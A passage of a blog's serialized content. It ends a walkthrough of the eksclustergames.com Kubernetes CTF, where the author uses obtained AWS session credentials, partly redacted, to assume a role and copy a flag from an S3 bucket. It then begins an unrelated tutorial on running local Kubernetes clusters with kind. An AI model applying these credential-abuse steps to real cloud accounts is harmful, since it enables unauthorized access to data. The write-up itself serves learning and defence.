},\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"Provider\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"arn:aws:iam::688655246681:oidc-provider/oidc.eks.us-west-1.amazonaws.com/id/C062C207C8F50DE4EC24A372FF60E589\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"Audience\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"sts.amazonaws.com\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eSuccess! We have some new AWS credentials. Let us setup our new AWS Session:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e export\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e AWS_ACCESS_KEY_ID=\"ASIA2AVYNEV\u0026#x3C;*REDACTED*\u003e\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e export\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e AWS_SECRET_ACCESS_KEY=\"VTZ4TuDrtHGca\u0026#x3C;*REDACTED*\u003e\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e export\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e AWS_SESSION_TOKEN=\"IQoJb3JpZ2luX2VjEAQaCXVzLXd+7ONV2wIgESXuf\u0026#x3C;*REDACTED*\u003e\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e aws\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sts\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e get-caller-identity\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"UserId\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"AROA2AVYNEVMZEZ2AFVYI:test\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"Account\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"688655246681\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"Arn\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"arn:aws:sts::688655246681:assumed-role/challengeEksS3Role/test\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eWe are now the new role! We hopefully have access to S3 now. At the start\nof the challenge it provided us a clue to what bucket we want to view by\nproviding us the IAM policy:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"json\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"json\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e \"Policy\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e \"Statement\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: [\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e \"Action\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: [\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"s3:GetObject\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e,\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"s3:ListBucket\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e ],\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e \"Effect\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"Allow\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e,\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e \"Resource\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: [\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"arn:aws:s3:::challenge-flag-bucket-3ff1ae2\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e,\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"arn:aws:s3:::challenge-flag-bucket-3ff1ae2/flag\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e ]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e ],\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e \"Version\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"2012-10-17\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eSo we want to fetch \u003ccode\u003earn:aws:s3:::challenge-flag-bucket-3ff1ae2/flag\u003c/code\u003e:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e aws\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e s3\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e cp\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e s3://challenge-flag-bucket-3ff1ae2/flag\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e .\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003edownload:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e s3://challenge-flag-bucket-3ff1ae2/flag\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e to\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e ./flag\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e cat\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e flag\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003ewiz_eks_challenge\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e{w0w_y0u_really_are_4n_eks_and_aws\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e\u0026#x3C;*REDACTED*\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eand that is the final flag! In my next post I will discuss the remediation steps\nto prevent these configuration mistakes on your cluster!\u003c/p\u003e","category":"Kubernetes","date":"2023-11-02T00:00:00Z","tags":["Kubernetes","SRE","Security"],"title":"eksclustergames.com walk through!"},{"id":["2023","local_k8s_with_kind"],"path":"2023/local_k8s_with_kind","contentHtml":"\u003cp\u003ePreviously I \u003ca href=\"/blog/2022/local_kubeadm_cluster\"\u003eshowed\u003c/a\u003e how to run kubernetes\nlocally with \u003ccode\u003ekubeadm\u003c/code\u003e and VMs but sometimes that is overkill so I wanted to\nshow how to run \u003ca href=\"https://kind.sigs.k8s.io/\"\u003ekind\u003c/a\u003e which is \"kubernetes in\ndocker\".\u003c/p\u003e\n\u003ch1\u003eCreating your first cluster\u003c/h1\u003e\n\u003cp\u003ekind is a very flexible way to run kubernetes locally and allows you to run\nsingle node or multinode clusters with access to all the features of\nkubernetes, such as ingress.\u003c/p\u003e\n\u003cp\u003eTo create your first cluster it is as simple as running:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kind\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e create\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e cluster\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eCreating\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e cluster\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"kind\"\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e ...\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e ✓\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Ensuring\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e node\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e image\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e (kindest/node:v1.27.3) 🖼 \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e ✓\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Preparing\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e nodes\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 📦\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e ✓\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Writing\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e configuration\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 📜\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e ✓\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Starting\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e control-plane\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 🕹️\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e ✓\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Installing\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e CNI\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 🔌\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e ✓\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Installing\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e StorageClass\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 💾\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eSet\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubectl\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e context\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e to\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"kind-kind\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eYou\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e can\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e now\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e use\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e your\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e cluster\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e with:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003ekubectl\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e cluster-info\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --context\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kind-kind\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eHave\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e a\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e question,\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e bug,\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e or\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e feature\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e request?\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Let\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e us\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e know!\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e https://kind.sigs.k8s.io/#community\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 🙂\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eYou now have a functioning kubernetes cluster and you\ncan view what it created:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e k\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e get\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e node\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eNAME\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e STATUS\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e ROLES\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e AGE\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e VERSION\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003ekind-control-plane\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Ready\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e control-plane\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 4m26s\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e v1.27.3\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eYou can also verify that it is running inside docker:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e docker\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e ps\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eCONTAINER\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e ID\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e IMAGE\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e COMMAND\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e CREATED\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e STATUS\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e PORTS\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e NAMES\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e1c3ba74dc29b\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kindest/node:v1.27.3\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"/usr/local/bin/entr…\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 3\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e minutes\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e ago\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Up\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 3\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e minutes\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 127.0.0.1:59327\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e6443/tcp\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kind-control-plane\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003ch1\u003eMaking the cluster useful\u003c/h1\u003e\n\u003cp\u003eThere are a few things you will notice with the command we ran originally:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eIt grabbed the latest kubernetes version available\u003c/li\u003e\n\u003cli\u003eIt is running a single node cluster\u003c/li\u003e\n\u003cli\u003eNo ingress available\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eLuckily kind makes it really easy to customize your local cluster to be what\nyou want it to be by using a \u003ccode\u003eYAML\u003c/code\u003e configuration.\u003c/p\u003e\n\u003cp\u003eCreate the configuration:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"yaml\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"yaml\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003ekind\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eCluster\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003eapiVersion\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003ekind.x-k8s.io/v1alpha4\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003enodes\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e- \u003c/span\u003e\u003cspan style=\"color:#8DDB8C\"\u003erole\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003econtrol-plane\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e kubeadmConfigPatches\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e|\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e kind: InitConfiguration\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e nodeRegistration:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubeletExtraArgs:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e node-labels: \"ingress-ready=true\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e extraPortMappings\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#8DDB8C\"\u003econtainerPort\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e80\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e hostPort\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e80\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e protocol\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eTCP\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#8DDB8C\"\u003econtainerPort\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e443\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e hostPort\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e443\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e protocol\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eTCP\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e- \u003c/span\u003e\u003cspan style=\"color:#8DDB8C\"\u003erole\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eworker\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e- \u003c/span\u003e\u003cspan style=\"color:#8DDB8C\"\u003erole\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eworker\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e- \u003c/span\u003e\u003cspan style=\"color:#8DDB8C\"\u003erole\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eworker\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eWith this we have now generated a 4 node cluster where we have a single\ncontrol-plane and three workers. Then we defined some extra configuration on\nthe control-plane:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003ekubeadmConfigPatches\u003c/strong\u003e: We want to change the default configuration the\ncluster uses so it will tag the nodes with the \u003ccode\u003eingress-ready\u003c/code\u003e label so the\ncontroller will use them.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eextraPortMappings\u003c/strong\u003e: allow the local host to make requests to the Ingress controller over ports 80/443\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003enode-labels\u003c/strong\u003e: only allow the ingress controller to run on specific node(s) matching the label selector\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eSo now we can create the new cluster with the configuration. Save that config\nas \u003ccode\u003ekind_config.yml\u003c/code\u003e and then run:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kind\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e create\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e cluster\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --image\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kindest/node:v1.25.11\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --config\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kind_config.yml\u003c/span\u003e\u003cspan 